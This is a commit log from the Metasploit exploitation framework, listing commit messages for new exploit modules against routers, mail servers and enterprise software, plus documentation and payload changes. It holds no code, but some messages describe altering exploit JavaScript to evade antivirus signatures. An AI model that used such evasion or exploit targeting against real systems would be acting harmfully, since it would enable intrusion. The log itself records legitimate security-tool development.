Update netgear_r7000_cgibin_exec.md
2017-03-24 15:43:06 -04:00
Pearce Barry
9db2e9fbcd
Land #8146 , Add Default Secret & Deserialization Exploit for Github Enterprise
2017-03-24 14:38:47 -05:00
Metasploit
51646e44a1
Bump version of framework to 4.14.6
2017-03-24 10:02:24 -07:00
wchen-r7
dfaec8bf3a
Land #8148 , Add module documentation for axis2_deployer
2017-03-24 11:55:51 -05:00
wchen-r7
1c3c2ecdc6
Add -h for the check command
...
Because even I don't remember what it can do anymore.
2017-03-24 11:47:36 -05:00
dmohanty-r7
92c0748447
Land #8102 , Add a plugin to notify new sessions via SMS
2017-03-24 11:17:59 -05:00
itsmeroy2012
03d6e4563c
Documentation on axis2_deployer updated 1.2
2017-03-24 21:14:56 +05:30
itsmeroy2012
2f1eefebc7
Documentation on axis2_deployer updated 1.1
2017-03-24 21:12:33 +05:30
itsmeroy2012
ffacac10c7
Documentation on axis2_deployer
2017-03-24 21:06:19 +05:30
Mehmet Ince
e9f816272d
Adding solarwinds lem default ssh credentials to the wordlist
2017-03-24 13:24:05 +03:00
William Webb
e04f01ed6b
Land #7778 , RCE on Netgear WNR2000v5
2017-03-23 15:34:16 -05:00
wchen-r7
3b062eb8d4
Update version info
2017-03-23 13:46:09 -05:00
wchen-r7
fdb52a6823
Avoid checking res.code to determine RCE success
...
Because it's not accurate
2017-03-23 13:39:45 -05:00
wchen-r7
39682d6385
Fix grammar
2017-03-23 13:23:30 -05:00
wchen-r7
ee21377d23
Credit Brent & Adam
2017-03-23 11:22:49 -05:00
wchen-r7
2488100996
Add bounty info
2017-03-23 11:13:47 -05:00
Metasploit
8976faa3d1
Bump version of framework to 4.14.5
2017-03-23 08:41:49 -07:00
wchen-r7
196a0b6ac4
Add Default Secret & Deserialization Exploit for Github Enterprise
2017-03-23 10:40:31 -05:00
dmohanty-r7
fa399e82c6
Land reverting #8135
2017-03-23 10:17:39 -05:00
darkbushido
271fd589f2
Revert "Land #8135 , Report hosts always add ip to hostname if hostname is blank"
...
This reverts commit 5a1c7ca8af , reversing
changes made to d10b3da6ec .
2017-03-23 10:05:58 -05:00
Mehmet Ince
d37966f1bb
Remove old file
2017-03-23 12:53:08 +03:00
Mehmet Ince
c87ea2107b
Add documentation
2017-03-23 12:49:50 +03:00
Mehmet Ince
8a43a05c25
Change name of the module
2017-03-23 12:49:31 +03:00
Carter
8dd0f953b0
remove unnecessary require
2017-03-22 19:48:24 -04:00
Carter
420df11c44
Change up the way shodan is reached
2017-03-22 19:39:45 -04:00
bwatters-r7
a93aef8b7a
Land #8086 , Add Module Logsign Remote Code Execution
2017-03-22 11:33:49 -05:00
Patrick DeSantis
2200c9faee
Create moxa_discover.rb
2017-03-22 10:49:26 -04:00
bwatters-r7
8e829ae951
Land #8141 , fix execute and kill cmd usage/help
2017-03-22 09:03:41 -05:00
Leon Jacobs
c58e9acadd
Fix variable typos in rfrecv related methods.
2017-03-22 15:44:22 +02:00
itsmeroy2012
b06d17baa1
Documentation on ms15_034_http_sys_memory_dump updated 1.5
2017-03-22 17:37:59 +05:30
Tim
ef53e6a593
fix execute and kill cmd usage/help
2017-03-22 16:29:47 +08:00
Carter
fa61d67761
Fix score comparison
2017-03-21 19:17:20 -04:00
Metasploit
df181c1792
Bump version of framework to 4.14.4
2017-03-21 14:58:37 -07:00
Brent Cook
3af0f814c3
Land #8138 , fix mettle UAF and add initial http/https transport support
2017-03-21 16:51:09 -05:00
William Vu
1a8e8402ae
Land #8113 , SysGauge SMTP server validation sploit
2017-03-21 16:45:42 -05:00
Brent Cook
9542087642
bump mettle to 0.1.8
2017-03-21 16:45:25 -05:00
William Vu
686f30e118
Land #8117 , p{grep,kill} for Meterpreter <3
2017-03-21 16:37:34 -05:00
dmohanty-r7
5a1c7ca8af
Land #8135 , Report hosts always add ip to hostname if hostname is blank
2017-03-21 14:55:10 -05:00
wchen-r7
d10b3da6ec
Land #8132 , Support Python 2 & 3 for web_delivery
2017-03-21 13:48:27 -05:00
wchen-r7
6b3cfe0a98
Support both Python 2 and Python 3 in one line
...
Tested on:
* Python 2.7.13 on Windows
* Python 3.5.3 on Windows
2017-03-21 13:47:07 -05:00
Jeffrey Martin
6abee7e201
Land #8136 , Remove debugging output
2017-03-21 12:55:35 -05:00
Carter
fef8ec10bc
Fix author formatting
2017-03-21 13:23:41 -04:00
Carter
d7640713df
Add more checks and formatting
2017-03-21 13:23:06 -04:00
Carter
1f68a3bda6
Rename honeypot.rb to shodan_honeyscore.rb
2017-03-21 13:10:31 -04:00
James Lee
2e096be869
Remove debugging output
2017-03-21 11:26:02 -05:00
darkbushido
60bc279eb3
removing extra whitespace
2017-03-21 10:40:59 -05:00
darkbushido
1221a20d0d
reversing the logic to check for .blank?
2017-03-21 10:35:19 -05:00
darkbushido
7ff7c707c9
setting host_name to address if host_name is blank.
2017-03-21 10:26:57 -05:00
Carter
79c7b84f08
Create honeypot.rb
2017-03-21 11:15:12 -04:00
bwatters-r7
69769b1ca4
Land #8036 , Fix run_as_psh with domain accounts
...
Missed a commit in this PR last time due to typo updating
the PR before merge.
2017-03-21 09:17:59 -05:00
itsmeroy2012
00359b85c5
Documentation on ms15_034_http_sys_memory_dump updated 1.4 fixing white spaces
2017-03-21 19:43:35 +05:30
bwatters-r7
be41df6de0
Land #8036 , Fix run_as_psh with domain accounts
2017-03-21 09:05:50 -05:00
itsmeroy2012
d54e35f40e
Documentation on ms15_034_http_sys_memory_dump updated 1.3 fixing white spaces
2017-03-21 17:40:07 +05:30
itsmeroy2012
07d88a71cf
Documentation on ms15_034_http_sys_memory_dump updated 1.2 removing show opitions
2017-03-21 17:33:27 +05:30
Pearce Barry
f397624a69
Land #7935 , HWBridge RF transceiver extension
2017-03-21 06:12:32 -05:00
Brent Cook
aa5e9cd702
Land #8058 , Allow the http_payload stager to sleep before retry
2017-03-21 00:07:10 -05:00
Louis
662673ace8
Update run_as_psh.md
2017-03-21 10:51:04 +11:00
Pearce Barry
7477e44d30
Use urlsafe Base64 en/decode calls.
2017-03-20 17:37:16 -05:00
Pearce Barry
c4279a837a
Minor formatting/spelling/verbiage changes.
2017-03-20 17:37:12 -05:00
Craig Smith
2fde287424
Initial patch for rftransceiver (RfCat / YardstickOne)
2017-03-20 17:36:16 -05:00
Pearce Barry
7f444c3b23
Land #7967 , DTC Improvements and Fixes
2017-03-20 16:43:58 -05:00
Pearce Barry
321988c282
Replace errant '.' with ','
2017-03-20 16:36:13 -05:00
Pearce Barry
2acd941b16
Merge branch 'master' into dtc_fix
2017-03-20 14:10:01 -05:00
Craig Smith
0be6b8c905
Fixes #8022
...
Adds detection for ELM327 chips reporting CAN ERROR when vehicle is off.
Addes some enhanced UDS Error codes.
Cleaned up reporting from getvinfo if the vehicle is off or not connected.
2017-03-20 13:49:39 -05:00
itsmeroy2012
7ffa952dbb
Documentation on ms15_034_http_sys_memory_dump updated 1.1
2017-03-20 21:33:33 +05:30
Pearce Barry
06ebb22a8f
Land #8065 , Zigbee Hardware Bridge Extension
2017-03-20 10:44:15 -05:00
Swiftb0y
ffe77c484e
fixed spacing
2017-03-20 16:37:35 +01:00
Swiftb0y
e51063aa56
added the python3 syntax to the web_delivery script
2017-03-20 16:08:08 +01:00
h00die
7bcd53d87d
Land #8079 , exploit and aux for dnaLims
2017-03-20 11:08:05 -04:00
Flaky Biscuits
a7671397ba
Merge pull request #3 from h00die/flakeydna
...
dnalims
2017-03-20 10:59:52 -04:00
h00die
fd5345a869
updates per pr
2017-03-20 10:40:43 -04:00
h00die
fe5167bf26
changes to file per pr
2017-03-20 10:16:42 -04:00
itsmeroy2012
46d46eef77
Documentation on ms15_034_http_sys_memory_dump
2017-03-20 19:18:58 +05:30
Louis
e6afd68624
Update run_as_psh.md
2017-03-20 16:17:07 +11:00
William Vu
f9ecefe465
Land #8031 , nil fixes for HWBridge
2017-03-19 22:37:28 -05:00
Brent Cook
aa1e76f28e
Land #8128 , ensure there is a response before deferencing
2017-03-19 22:17:31 -05:00
Brent Cook
e2c6f959f4
Land #8129 , s/colom/colon/g
2017-03-19 22:14:38 -05:00
h00die
35a952490d
Land #8130 docs for winrm_script_exec
2017-03-19 14:47:41 -04:00
itsmeroy2012
18fec876ce
Documentation on winrm_script_exec updated 1.4
2017-03-19 23:43:08 +05:30
itsmeroy2012
90744b0162
Documentation on winrm_script_exec updated 1.3
2017-03-19 23:31:30 +05:30
itsmeroy2012
d22e43dedd
Documentation on winrm_script_exec updated 1.2
2017-03-19 23:11:23 +05:30
Indranil Roy
91c7a1bc34
Merge pull request #1 from rapid7/master
...
Updating master
2017-03-19 22:46:17 +05:30
itsmeroy2012
02a3b172b4
Documentation on winrm_script_exec updated 1.1
2017-03-19 21:52:46 +05:30
itsmeroy2012
5ab0129f0f
Documentation on winrm_script_exec
2017-03-19 18:27:00 +05:30
Javier Godinez
66c3154745
Initial commit of instance launcher userdata
2017-03-18 21:52:49 -07:00
Javier Godinez
534ca8c5cb
fix: URL encoding userdata
2017-03-18 21:52:49 -07:00
Javier Godinez
26d344a0ef
Initial checkin of launch instances module
2017-03-18 21:52:49 -07:00
Carter
ae883d7f02
Update multi_meterpreter_inject.rb
2017-03-19 00:27:28 -04:00
Carter
661bf6e492
Update multi_meterpreter_inject.rb
2017-03-19 00:27:03 -04:00
Carter
93a6614ab3
Update multi_meterpreter_inject.rb
2017-03-19 00:25:46 -04:00
h00die
f88a522bf5
fix #8121
2017-03-18 14:50:24 -04:00
h00die
06e6a973ce
land #7944 a scanner for Carlo Gavazzi energy meters
2017-03-18 10:35:43 -04:00
h00die
84e4b8d596
land #8115 which adds a CVE reference to IMSVA
2017-03-18 09:51:52 -04:00
alpiste
1d0024ee3c
tools/modules/update_payload_cached_sizes.rb update
2017-03-17 20:58:41 -03:00
alpiste
f715fee10c
The option StagerRetryWait will be used by default with the value of 5 seconds
2017-03-17 20:28:14 -03:00
Brent Cook
c0c1ac39bd
Land #8056 , Fix how the psh mixin issues Meterpreter commands
2017-03-17 17:35:13 -05:00
Brent Cook
2701fef34b
bump to metasploit-payloads 1.2.29
2017-03-17 17:34:16 -05:00
Brent Cook
ad2222152c
Merge remote-tracking branch 'upstream/master' into land-8056-outlook
2017-03-17 17:30:08 -05:00
Pearce Barry
d55b680394
Land #8088 , Add some binaries to enum_protections
2017-03-17 17:14:59 -05:00
Mehmet Ince
6aa42dcf08
Add solarwinds default ssh user rce
2017-03-17 21:54:35 +03:00
William Webb
1180bd6ed7
Land #8037 , priv_migrate improvements
2017-03-17 13:19:51 -05:00
Brent Cook
ce0437d1e8
Land #8118 , Updated rails_secret_deserialization to add '-' cookie regex
2017-03-17 12:39:57 -05:00
Brent Cook
52cea93ea2
Merge remote-tracking branch 'upstream/master' into land-8118-
2017-03-17 12:39:30 -05:00
Brent Cook
e67c83e92c
Land #8119 , Updated rails_secret_deserialization to add '.' cookie regex
2017-03-17 12:34:25 -05:00
Brent Cook
ea4ca7ecc5
Land #8116 , Handle ::Errno::ECONNRESET in telnet_version
2017-03-17 12:32:02 -05:00
Metasploit
6200a3abb8
Bump version of framework to 4.14.3
2017-03-17 10:02:41 -07:00
Brent Cook
dd6e75986d
add -l and -f flag simulation for pgrep, XXX rex handles flag opts poorly
2017-03-16 23:48:39 -05:00
Brent Cook
70bbacf7ed
kill processes in reverse, allow children before parents more likely
2017-03-16 23:48:04 -05:00
Pearce Barry
095a110e65
Code and doc tweaks (minor).
...
Only one behavior change in the scan loop of zstumbler.rb to, when doing a scan across all the channels, keep it from retrying channel 11 again one last time just before it exits.
2017-03-16 21:43:36 -05:00
Chris Higgins
7a12e446a0
Updated documentation and fixed module header. Whoops, copy/paste fail.
2017-03-16 21:28:24 -05:00
Craig Smith
78586f0dc9
Fixed an extra space at the EOL
2017-03-16 09:22:01 -07:00
Dallas Kaman
80c33fc27f
adding '-' to rails deserialization regex for cookie matching
2017-03-16 10:54:32 -05:00
Thomas Reburn
59c7de671e
Updated rails_secret_deserialization to add '.' regex for cookie matching.
2017-03-16 10:45:43 -05:00
Spencer McIntyre
03698ec214
Fix how the psh mixing issues meterpreter commands
2017-03-16 08:45:10 -04:00
Brent Cook
85f7d73d4d
add pgrep as well
2017-03-16 04:14:45 -05:00
Brent Cook
c9a85f58c0
add pkill command, rework to share filtering logic with ps
2017-03-16 03:57:49 -05:00
Brent Cook
a1be63e449
fix warnings in rex argument parser
2017-03-16 03:57:49 -05:00
Chris Higgins
f4bb1d6a37
Updated based on @wvu's comments
2017-03-15 19:15:12 -05:00
Mehmet Ince
f706c4d7f6
Removing prefix
2017-03-16 00:49:55 +03:00
wchen-r7
a1d7748d82
Fix #8061 , Handle ::Errno::ECONNRESET in telnet_version
...
Fix #8061
2017-03-15 16:33:37 -05:00
Mehmet Ince
60186f6046
Adding CVE number
2017-03-16 00:31:21 +03:00
Chris Higgins
b3fbbbee34
Spelling is hard
2017-03-14 23:34:00 -05:00
Chris Higgins
cc4f18e6c5
Add sysgauge_client_bof module and documentation
2017-03-14 23:29:19 -05:00
wchen-r7
3c18b196e8
Fix bugs in session_notifier.rb
2017-03-13 16:45:28 -05:00
wchen-r7
bb4d6e17c8
Resolve #8026 , Add a plugin to notify new sessions via SMS
...
This plugin will notify you of a new session via SMS.
It also changes the SMS text format to MIME.
Resolve #8026
2017-03-13 16:13:59 -05:00
Mehmet Ince
3ed42e5937
Adding iso download link to doc
2017-03-10 17:50:21 +03:00
jvoisin
84b9449137
Add some binaries to enum_protections
...
- gradm2 for grsec
- aa-status for apparmor
- getenforce for setlinux
2017-03-10 14:16:58 +01:00
Mehmet Ince
f6bac3ae31
Add iso link to md file and change CheckCode code
2017-03-10 13:00:49 +03:00
flakey-biscuits
0ab3ad86ee
change dnalims_file_retrieve module type
2017-03-09 10:06:31 -05:00
flakey-biscuits
95a01b9f5e
add dnaLIMS exploits
2017-03-09 09:46:18 -05:00
Craig Smith
f60dae0917
Lots of syntax fixups from rubocop
2017-03-08 09:21:33 -08:00
Koen Riepe
c8215e609a
pushing fixes again, something failed.
2017-03-08 10:16:06 +01:00
Koen Riepe
2546263d50
Improved error handling and general fixes
2017-03-08 10:11:05 +01:00
Craig Smith
4e9b8946d8
Fixed some small msftidy issues
2017-03-06 22:47:37 -08:00
Craig Smith
97ad8be7ff
Added some Zigbee Documentation
2017-03-06 22:42:15 -08:00
Craig Smith
60cd04bc7b
Added module for zstumbler
2017-03-06 16:10:14 -08:00
juushya
0b5da60564
Added nil check + formatting edits
2017-03-07 02:17:21 +05:30
juushya
d99d81992f
Added nil check + formatting edits
2017-03-07 02:16:01 +05:30
juushya
05efb61d3b
Added nil check + formatting edits
2017-03-07 02:14:18 +05:30
juushya
62b0efd99d
Added nil check + formatting edits
2017-03-07 01:44:23 +05:30
juushya
9a5ab604e5
Added nil check + formatting edits
2017-03-07 01:21:07 +05:30
juushya
2d8e3c73f5
Minor edits
2017-03-07 00:20:05 +05:30
juushya
3ab214e758
Minor edits
2017-03-07 00:03:24 +05:30
Carter
14ed60e44d
Fix msftidy warning
2017-03-05 02:06:43 -05:00
Carter
62bcc95b7f
Update model check
2017-03-05 01:53:34 -05:00
alpiste
09442f226a
Functionality was added to allow the payload to wait before trying to reconnect.
...
Also the code was modified to allow the payload to infinite retry if 0 is set.
2017-03-04 18:12:09 -03:00
wolfthefallen
6c69e13e00
Updated based on comments
2017-03-04 11:28:30 -05:00
wolfthefallen
3e9480ebfa
Added documentation
2017-03-04 09:50:30 -05:00
wolfthefallen
a49c0a6824
removed trailing line
2017-03-03 11:03:25 -05:00
wolfthefallen
6a83220131
cleaned up travis errors
2017-03-03 10:49:00 -05:00
wolfthefallen
0943eb24a9
DC/OS Marathon UI Exploit
2017-03-03 09:56:14 -05:00
Carter
7556768dcf
Update netgear_dnslookup_cmd_exec.md
2017-03-02 21:47:58 -05:00
Carter
4a974d50b5
Create netgear_dnslookup_cmd_exec.md
2017-03-02 19:43:15 -05:00
Carter
e0a46c2c06
Create netgear_dnslookup_cmd_exec.rb
2017-03-02 17:51:24 -05:00
juushya
e8460c3b94
Minor edit
2017-03-03 02:37:20 +05:30
juushya
fafd35330d
Add epmp1000 dump hashes module
2017-03-03 02:22:34 +05:30
juushya
c6e65b1521
Minor edits
2017-03-03 02:00:19 +05:30
juushya
6bd09c142f
Minor edits
2017-03-03 00:53:17 +05:30
juushya
c9a354b844
Added nil checks
2017-03-01 20:18:51 +05:30
Louis
759b67c565
Fix ru_as_psh with domain accounts
...
The current versions has too many escape backslashes, as a result, running run_as_psh for domain users does not work.
Also added support for DOMAIN\\User format in the USER parameter.
2017-03-01 13:38:15 +11:00
h00die
fb5e090f15
fixes from jvoisin
2017-02-28 20:09:26 -05:00
Mehmet Ince
e5636d6ce1
Adding logsign rce module and doc
2017-02-28 21:04:37 +03:00
Craig Smith
d4e5cb7993
Fixes #8022
...
Adds detection for ELM327 chips reporting CAN ERROR when vehicle is off.
Addes some enhanced UDS Error codes.
Cleaned up reporting from getvinfo if the vehicle is off or not connected.
2017-02-27 21:09:57 -08:00
Josh Hale
def5088097
Change NOFAIL default to false
2017-02-27 20:37:58 -06:00
Josh Hale
e05e08a54f
Update module doc
2017-02-27 20:33:45 -06:00
Josh Hale
2f5dd38957
Update Admin target list and module description
2017-02-27 20:19:59 -06:00
Craig Smith
dcb42a3e69
Initial zigbee support using killerbee. Core session setup portion
2017-02-27 17:29:54 -08:00
Josh Hale
3333019e5f
Check if current admin proc is in target list
2017-02-27 18:55:25 -06:00
Josh Hale
717879f3df
Downcase targets and current proc name
2017-02-27 18:28:46 -06:00
Josh Hale
8e8e7244f4
Add exit language
2017-02-27 18:07:15 -06:00
Josh Hale
e1d76b8ff6
Add more error handling
2017-02-27 17:06:16 -06:00
Josh Hale
ffb54a13fe
Add NOFAIL datastore option
2017-02-27 12:41:18 -06:00
Koen Riepe
df7932bb1b
Added more error handling
2017-02-27 13:30:42 +01:00
Koen Riepe
264cfc9bd4
Added OPTIONS to the module
2017-02-27 13:24:31 +01:00
Josh Hale
81efe096aa
Update Author Handle
2017-02-26 21:01:19 -06:00
h00die
e3e607a552
reword description
2017-02-26 15:24:22 -05:00
h00die
0c353841ab
forgot add fixes for travis
2017-02-25 23:25:36 -05:00
h00die
a8609f5c66
ntfs-3g lpe
2017-02-25 23:09:22 -05:00
Pedro Ribeiro
f18b533226
change platform time to unix (although it is linux in reality but whatevs)
2017-02-24 22:58:24 +00:00
Koen Riepe
b2ad8938ff
Added tomcat_gather modules to Metasploit.
2017-02-24 15:15:55 +01:00
Koen Riepe
4be426df4d
Added jboss_gather module.
2017-02-24 11:18:01 +01:00
Koen Riepe
45b1f796e4
Added archmigrate module to metasploit.
2017-02-24 10:29:19 +01:00
Yorick Koster
0e94530c7f
Merge remote-tracking branch 'rapid7/master'
2017-02-24 08:55:03 +01:00
Jeff Tang
67086966ac
Avoid calling unescape on nops directly
...
Using an intermediate variable will avoid triggering signatures
2017-02-23 18:19:16 -05:00
Brendan Coles
0b34efab43
Add documentation
2017-02-23 06:59:05 +00:00
Brendan Coles
dc30dd70da
Add Windows Gather DynaZIP Saved Password Extraction post module
2017-02-22 22:20:19 +00:00
Jeff Tang
8ce10ac591
Avoid String.fromCharCode which gets detected
2017-02-22 14:13:18 -05:00
Yorick Koster
5d5d954c1b
Merge remote-tracking branch 'rapid7/master'
2017-02-17 15:05:23 +01:00
Craig Smith
1214ef5b79
Replaced tabs with spaces and removed trailing spaces at EOL
2017-02-15 16:46:11 -08:00
Craig Smith
8f1856c5d1
Fixed a bug with DTC decoding.
...
DTC Codes now print the English error messages next to their code with getvinfo
Frozen DTCs can also be fetched via get_frozen_dtcs()
2017-02-15 16:26:23 -08:00
Mark Bergman (aka xychix)
40f82ba81f
removed spaces
2017-02-15 23:39:44 +01:00
Mark Bergman (aka xychix)
ebde165a93
harakiri.rb vprint_status and debug info removed
...
harakiri.rb
vprint_status and debug info removed
2017-02-15 22:58:58 +01:00
Mark Bergman (aka xychix)
c6dfdd2c44
Implementation of check function
...
check function written, not tested.
removed 3 lines from exploit function that did this check.
2017-02-15 22:52:42 +01:00
Mark Bergman (aka xychix)
d15ea18288
on request of h00die
...
Convert this to string interpolation (using double quotes like line 121)
2017-02-15 22:29:23 +01:00
Maurice Popp
d5fd620fbb
Add files via upload
2017-02-14 11:21:36 +01:00
juushya
e6bfbb7c78
Added random cookie gen, res checks, & minor updates
2017-02-12 16:55:11 +05:30
juushya
906ca6c24e
Add Carlo Gavazzi module
2017-02-11 11:18:43 +05:30
Mark Bergman (aka xychix)
339edac53b
Update harakiri.rb
...
first update on request of h00die
2017-02-07 09:53:52 +01:00
Yorick Koster
b49a045df0
Merge remote-tracking branch 'rapid7/master'
2017-02-03 12:05:32 +01:00
Mark Bergman (aka xychix)
49cb26c825
Update of URL's in info structure
...
Added url to the CVE as the CVE doesn't appear to be registered on: https://cvedetails.com/cve/CVE-2016-1000282/
2017-02-02 10:49:05 +01:00
Mark Bergman (aka xychix)
9b09306d80
Update, changed some fields in Initialize
...
- deduplication of Author fields
- update of references
- fix minor identation
2017-02-02 10:35:52 +01:00
juushya
58a50d7dd1
Minor edits
2017-02-01 04:46:05 +05:30
juushya
6d6db2f40f
Add epmp1000 dump config module
2017-02-01 04:42:47 +05:30
juushya
20a51371ce
Minor Edits
2017-02-01 04:23:28 +05:30
Pedro Ribeiro
0aceb0b1cb
Fix whitespace, thanks msftidy!
2017-01-30 10:16:42 +00:00
Pedro Ribeiro
d5845343bd
Fix whitespace, thanks msftidy!
2017-01-30 10:15:20 +00:00
Pedro Ribeiro
5fd31e621e
Add CVE number
2017-01-30 10:03:46 +00:00
Pedro Ribeiro
fd6e10bf26
Add CVE numbers
2017-01-30 10:03:13 +00:00
Mark Bergman (aka xychix)
eef61cb3a4
Update harakiri.md
...
Based on review from @h00die
2017-01-29 18:02:12 +01:00
Mark Bergman (aka xychix)
a2eb380fd9
Update harakiri.md
2017-01-27 10:32:43 +01:00
Mark Bergman (aka xychix)
651f1a0870
Create harakiri.md
2017-01-27 10:31:12 +01:00
Mark Bergman (xychix)
410e2629bb
Exploit for Haraka node.js mailserver < 2.8.9
...
Exploit for Haraka node.js mailserver < 2.8.9 with attachment plugin enabled and bsdtar installed on victim.
full installation instructions for vulnerable software and python standalone exploit can be found here:
https://github.com/outflankbv/Exploits/blob/master/harakiri-CVE-2016-1000282.py
2017-01-26 16:12:34 +01:00
juushya
7791c58d5c
rubocop check & msftidy run clean. Minor updates.
2017-01-17 01:10:39 +05:30
Pedro Ribeiro
c0880985bc
fix duplicate entry for platform
2017-01-10 01:17:44 +00:00
juushya
1600879750
Add doc - PR #7784
2017-01-08 14:05:11 +05:30
juushya
4133a6fa97
Minor cleanup, msftidy check
2017-01-07 03:57:46 +05:30
Pedro Ribeiro
13bca2ebc7
add httpusername and password for auto auth
2017-01-06 16:33:51 +00:00
juushya
ba8394ecc1
Minor updates
2017-01-06 15:34:17 +05:30
Pedro Ribeiro
6004caa475
fix whitespace
2017-01-05 01:58:16 +00:00
juushya
c5acda0a22
Fixed the file permissions
2017-01-05 04:40:41 +05:30
Pedro Ribeiro
d95a3ff2ac
made changes suggested
2017-01-04 23:02:10 +00:00
juushya
c15b77c31b
Add Cambium ePMP 1000 Login Scanner module
2017-01-05 04:19:32 +05:30
phroxvs
1a4c239120
added default password of root account to documentation
2017-01-03 12:51:27 -05:00
phroxvs
245a7deb67
correct copy&paste mistake in module documentation
2017-01-03 06:51:50 -05:00
phroxvs
a3ad3803df
added module documentation
2017-01-03 06:49:50 -05:00
phroxvs
a9a83bc21c
fix for uninitialized constant in Net::SSH on OS X
2017-01-03 06:16:07 -05:00
phroxvs
3c2486b9f5
initial version of CVE-2016-7456 exploit
2017-01-03 03:39:22 -05:00
phroxvs
589084896a
initial version of CVE-2016-7456 exploit
2017-01-03 03:36:49 -05:00
Pedro Ribeiro
9d3e90e8e5
cleanup
2017-01-02 17:32:38 +00:00
Pedro Ribeiro
4c29d23c8a
further cleaning
2016-12-31 17:02:34 +00:00
Pedro Ribeiro
956602cbfe
add final wnr2000 sploits
2016-12-31 16:49:05 +00:00
Pedro Ribeiro
870e8046b5
add sploits
2016-12-27 21:12:35 +00:00
h00die
3d09e283cf
module ready
2016-12-02 22:03:23 -05:00
h00die
260f793f2c
y no update challenge
2016-11-30 22:57:12 -05:00
h00die
8369855e4f
pushing for help
2016-11-30 20:47:47 -05:00
h00die
c190cc775e
pushing for help
2016-11-30 19:45:24 -05:00
h00die
372cf740da
saving before changing branches
2016-11-21 22:06:20 -05:00
h00die
05e59bbe19
non-working copy of varnish
2016-11-19 22:09:19 -05:00
h00die
774d363220
direct copy
2016-11-18 16:43:53 -05:00
Yorick Koster
c74355dafb
Merge remote-tracking branch 'rapid7/master'
2016-11-08 16:05:25 +01:00
Ale
c4c133dff8
Fix Web URL
2016-10-03 17:11:04 -03:00
Ale
066df5f1a9
Fix msftidy warnings
2016-09-30 14:19:43 -03:00
Ale
bd96380d19
Fix in ScannerRecvWindow Declaration
2016-09-30 13:50:58 -03:00
Ale
c699c7c506
Fixing MSF Code Style
2016-09-30 13:42:30 -03:00
Ale
143a4af73d
DoS exploit for CVE-2016-2776
2016-09-29 22:14:13 -03:00